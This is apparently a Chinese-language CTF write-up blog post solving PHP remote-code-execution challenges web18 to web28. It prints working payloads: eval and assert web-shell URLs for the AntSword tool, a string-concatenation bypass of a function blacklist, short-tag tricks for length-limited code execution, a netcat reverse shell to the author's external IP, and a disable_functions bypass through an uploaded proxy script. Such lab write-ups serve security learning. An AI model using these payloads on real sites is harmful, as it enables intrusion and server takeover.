web18-28
in wr1teup with 0 comment
web18-28
in wr1teup with 0 comment

web18

开启环境
2024-07-10T02:41:52.png
可以用蚁剑连接到服务器,连接密码即为上述中post的1
2024-07-10T02:43:52.png
成功进入到后台
2024-07-10T02:44:28.png
在根目录下可以找到flag
2024-07-10T02:46:27.png
2024-07-10T02:46:37.png

flag{0dd2b622-aaa4-42d8-a34b-e6dc6e980d7c}

web19

与上题很相似,是用GET代码
2024-07-10T02:49:19.png
我们只需要一个转接头即可让蚁剑post连接到服务器(转接头应用广泛)

http://5326840f-fe54-4884-adc4-bb23e0763d07.challenges.ctfer.com:8080/?1=eval($_POST[1]);

/?1=eval($_POST[1]); 可以让php源代码中添加post值
2024-07-10T02:53:50.png
进入后台
2024-07-10T02:54:58.png
同样在根目录找到了flag
2024-07-10T02:55:17.png

flag{c75219f3-bdd1-47d4-82e7-a64b0d8648b9}

web20

开启环境后,是一个函数的调用
2024-07-10T02:59:53.png
call_user_func 是 PHP 中的一个函数,它允许调用回调函数。这个函数接受两个参数:第一个参数是一个回调类型,它可以是一个包含函数名的字符串,或者是一个包含对象引用和方法名的数组;第二个参数是一个参数数组,它将传递给回调函数。注意这里用不了eval,因为它不算函数,只是一个语言构造。

call_user_func($_GET[1], $_POST[2]); 中,call_user_func 被用来调用一个通过 $_GET$_POST 超全局数组索引指定的函数。

2024-07-10T03:03:54.png
如此可以利用system的危险函数,在根目录下找到flag
2024-07-10T03:05:26.png
找到flag

flag{3e48e92d-7db6-4c35-a4a5-6a599ad63fbc}

web21

开启环境后
2024-07-10T03:24:09.png

array_walk_recursive是一个PHP函数,它对数组中的每个元素应用一个用户定义的函数,递归地对数组中的所有元素进行操作,包括多维数组。

对于array_walk_recursive($_GET[1], $_POST[1]);这行代码,它的意思是:

于是如下图所示构造,可以得到数据,get一定要数组,所以要1[]=ls
2024-07-10T03:25:54.png
2024-07-10T03:27:05.png
在根目录下找到flagaaa,cat得到flag
2024-07-10T03:28:02.png

flag{3fc82b7f-97dd-4574-91b0-5e1ed470f52c}

web22

开启环境,是代码过滤黑名单
2024-07-10T03:35:08.png
下述被过滤

我们尝试拼接法

/?1=$a='sys';$b='tem';$c=$a.$b;$c($_POST[1]);

在php中用点.来连接
2024-07-10T03:48:55.png
找到了flag
2024-07-10T03:49:31.png

flag{d99ec5ff-cd76-4220-a111-d24b043c25e1}

web23

开启环境,这次应该是都被过滤了,同时下述的?>会使得我们引入的变量会被以文本情况输出,例如下图
2024-07-10T03:51:45.png
2024-07-10T03:55:03.png
所以我们必须告诉服务器我们这是代码,之前都会用到

<?php
……
?>

但是?被狠心地过滤了,我们必须换一个开启结束符号,在文档中找到了从HTML分离出来的方法
2024-07-10T03:57:56.png
找到了不包含?的记号
2024-07-10T03:58:26.png
测试可以使用
2024-07-10T04:50:36.png
这边刚好是有分号功能的

一段PHP代码中的结束标记隐含表示了一个分号
继续查看根目录
2024-07-10T04:57:07.png
成功拿到flag
2024-07-10T05:01:43.png
flag{c4afb90d-b6c9-4817-8e3e-7bafd44f6555}

web24

打开环境发现,此处题目竟然过滤了长度,在13个字符下面实现RCE,而且要解决输出本身为文本的问题
2024-07-10T05:07:29.png

/?1=<?php eval($_GET[2]);?>

明显超出长度

<?php `$_GET[2]`;?>

用反引号替换eval直接进行命令执行(还有19个字符)

<?= `$_GET[2]`;?>

替换为短标签,省去php

<?=`$_GET[2]`

去除分号,结束标记(14个)

<?`$_GET[2]`

关闭回显达到极限

<?`$_GET[2]`;&2=ls > 1.txt 

需要写入1.txt,因为我们关闭了回显
但是发现没写进去。应该是缺乏权限
2024-07-10T05:28:04.png

可以通过

<? `$_GET[2]`;&2=sleep 3

来确定代码已经执行,页面刷新3秒后显示,说明验证成功
2024-07-10T05:30:38.png
反弹shell来做到,首先在我们的服务器47.120.30.250开启一个nc端口
2024-07-10T05:37:11.png
之后构造,使得shell反弹到我们自己的外网服务器上

<?`$_GET[2]`;&2=nc 47.120.30.250 12222 -e /bin/sh

网站卡住说明反弹成功,拿到使用权
2024-07-10T05:37:56.png
拿到flag
2024-07-10T05:38:31.png

flag{667f98cc-1f43-4e67-8ce8-4bf59fbced78}

web25

开启环境后,发现限制了很多函数
2024-07-10T05:49:20.png
尝试调用危险函数,发现没有效果
2024-07-10T05:50:45.png
用蚁剑测试转接头

都连接不上,2024-07-10T05:53:49.png

2024-07-10T05:57:17.png
进入了后台,拿到flag
2024-07-10T05:58:47.png
在虚拟终端中提取到flag
2024-07-10T06:00:23.png

flag{1ca8bc7d-b521-48da-aadd-beceed6133b3}

web26

开启环境后,发现与上题非常相近
2024-07-10T06:08:05.png
同样使用蚁剑

http://160cba1d-96b4-4eb7-8abc-ddf3bf7edb64.challenges.ctfer.com:8080/?1=assert($_POST[1]);

2024-07-10T06:11:23.png
发现连接成功,进入后台
2024-07-10T06:13:51.png
但是发现终端无法完全输出
2024-07-10T06:15:14.png
只能运用插件绕过disable的函数
2024-07-10T06:25:44.png
选择第一种模式,发现行不通
2024-07-10T06:26:35.png
再传一次,发现代理脚本成功
2024-07-10T06:27:30.png
上传了一个代理脚本
2024-07-10T06:31:18.png
通过这个代理提权界面再次进入

http://160cba1d-96b4-4eb7-8abc-ddf3bf7edb64.challenges.ctfer.com:8080/.antproxy.php?1=assert($_POST[1]);

连接成功
2024-07-10T06:33:58.png
运用虚拟终端得到提权后的界面
2024-07-10T06:34:57.png
但是又发现直接拿flag会权限受限
2024-07-10T06:36:04.png
后来发现tac是可以使用的
2024-07-10T06:41:58.png
找到flag

flag{2f1ee97e-5b85-4110-9cee-836cd0e8e34f}

web27

开启环境后,发现与前几题非常相似
应该都是后台的不同,同理先进行转接头的操作

http://1714cafb-79d3-4295-b19c-f255cffa011e.challenges.ctfer.com:8080/?1=assert($_POST[1]);

2024-07-10T06:48:12.png
连接成功,同样虚拟终端无法操作,因此我们进行提权,这里使用插件的第三种模式
2024-07-10T06:48:39.png
2024-07-10T06:50:29.png
成功提权
2024-07-10T06:51:15.png
找到flag
2024-07-10T06:52:21.png

flag{9f9dfd31-425c-4115-b575-a75be0b8756f}

web28

开启环境后,
2024-07-10T06:54:36.png
发现环境还是很像

http://cbaf74a1-98ec-444d-a7f2-95b105d80e76.challenges.ctfer.com:8080/?1=assert($_POST[1]);

同样转接头连接,同样的权限受限
2024-07-10T06:57:07.png
2024-07-10T06:57:43.png
选择第二个提权方式,发现不行,选择UAF模式,还是不行,选择到另一个可行的提权
2024-07-10T06:58:32.png
2024-07-10T06:59:52.png
2024-07-10T07:02:19.png
得到flag

flag{3b6d4eac-3a41-4089-aaa8-0200fb0bc2cb}
The article has been posted for too long and comments have been automatically closed.